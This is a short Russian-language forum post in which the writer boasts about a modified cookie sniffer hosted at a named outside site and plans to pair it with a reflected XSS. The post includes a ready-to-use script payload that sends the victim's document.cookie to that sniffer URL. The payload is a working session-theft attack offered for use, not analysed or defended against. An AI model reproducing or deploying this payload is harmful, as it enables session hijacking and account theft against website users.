но тот снифер игрушка, по сравнению с моей модификацией хе хе
http://vipwap.pp.ru/sniffer/cookies.php этот тырит и сессию, осталось найти пассивную xss и заюзать
<script>img = new Image(); img.src = "http://vipwap.pp.ru/sniffer/xss.php?z="+ document.cookie;</script>